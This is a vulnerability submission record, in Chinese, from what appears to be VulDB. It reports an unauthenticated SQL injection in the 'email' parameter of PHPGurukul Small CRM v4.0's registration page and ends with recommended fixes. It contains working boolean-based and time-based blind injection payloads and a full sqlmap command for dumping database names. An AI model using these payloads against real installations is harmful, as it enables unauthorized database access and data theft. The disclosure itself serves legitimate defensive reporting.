提交 #643263: php库.com PHP项目中的小型CRM。 v4.0 SQL Injection信息

标题php库.com PHP项目中的小型CRM。 v4.0 SQL Injection
描述phpgurukul.com Small CRM in PHP 项目 V4.0 /crm/registration.php SQL注入 受影响产品名称 Small CRM in PHP 厂商主页 -phpgurukul.com 受影响和/或已修复的版本 提交者 《vuldb的名称》 存在漏洞的文件 /crm/registration.php 版本 V4.0 软件链接 https://phpgurukul.com/small-crm-php/ 问题类型 漏洞类型 SQL注入 根本原因 在“Small CRM in PHP”项目的“/crm/registration.php”文件中发现了一个SQL注入漏洞。该问题的原因是攻击者从“email”参数注入恶意代码,并在SQL查询中直接使用,而无需适当的清理或验证。这使得攻击者可以伪造输入值,从而操纵SQL查询并执行未经授权的操作。 影响 攻击者可以利用此SQL注入漏洞实现未经授权的数据库访问、敏感数据泄露、数据篡改、全面系统控制,甚至服务中断,对系统安全和业务连续性构成严重威胁。 描述 在对“Small CRM in PHP”进行安全审查期间,我发现“/crm/registration.php”文件中存在一个严重的SQL注入漏洞。该漏洞源于对“email”参数的用户输入验证不足,使攻击者能够注入恶意的SQL查询。因此,攻击者可以未经授权访问数据库,修改或删除数据,并访问敏感信息。需要立即采取补救措施,以确保系统安全并保护数据完整性。 利用此漏洞无需登录或授权 漏洞详情和概念验证(POC) 漏洞位置: “email”参数 负载(Payload): makefile 深色版本 参数:email (POST) 类型:基于布尔的盲注 标题:基于布尔的盲注 - WHERE 或 HAVING 子句 负载:name=1a&[email protected]' AND 8871=8871 AND 'zGaS'='zGaS&password=1&cpassword=1&phone=1234567890&gender=m&submit=Submit 类型:基于时间的盲注 标题:MySQL >= 5.0.12 基于时间的盲注 (query SLEEP) 负载:name=1a&[email protected]' AND (SELECT 7075 FROM (SELECT(SLEEP(5)))lAEC) AND 'neyr'='neyr&password=1&cpassword=1&phone=1234567890&gender=m&submit=Submit 以下是使用sqlmap工具进行测试和运行时获取的部分具体信息的截图: bash 深色版本 sqlmap -u "http://127.0.0.1/crm/registration.php" --data="name=1a&email=111s1%40qq.com&password=1&cpassword=1&phone=1234567890&gender=m&submit=Submit" --dbs <img width="2308" height="916" alt="Image" src="https://github.com/user-attachments/assets/abdf4191-be6c-4370-9038-c9ad7ecb097e" /> 建议的修复措施 使用预编译语句和参数绑定: 预编译语句可以防止SQL注入,因为它们将SQL代码与用户输入数据分离。使用预编译语句时,用户输入的值被视为纯数据,不会被解释为SQL代码。 输入验证和过滤: 严格验证和过滤用户输入数据,确保其符合预期格式。 最小化数据库用户权限: 确保用于连接数据库的账户具有最低必要权限。避免在日常操作中使用具有高级权限(如'root'或'admin')的账户。 定期安全审计: 定期进行代码和系统安全审计,及时发现并修复潜在的安全漏洞。
来源⚠️ https://github.com/ubfbuz3/cve/issues/35
用户
 shang (UID 89579)
提交2025-08-28 15時23分 (1 年前)
管理2025-09-03 13時36分 (6 days later)
状态重复
VulDB条目260480 [PHPGurukul Small CRM 3.0 Registration Page SQL注入]
积分0

Want to know what is going to be exploited?

We predict KEV entries!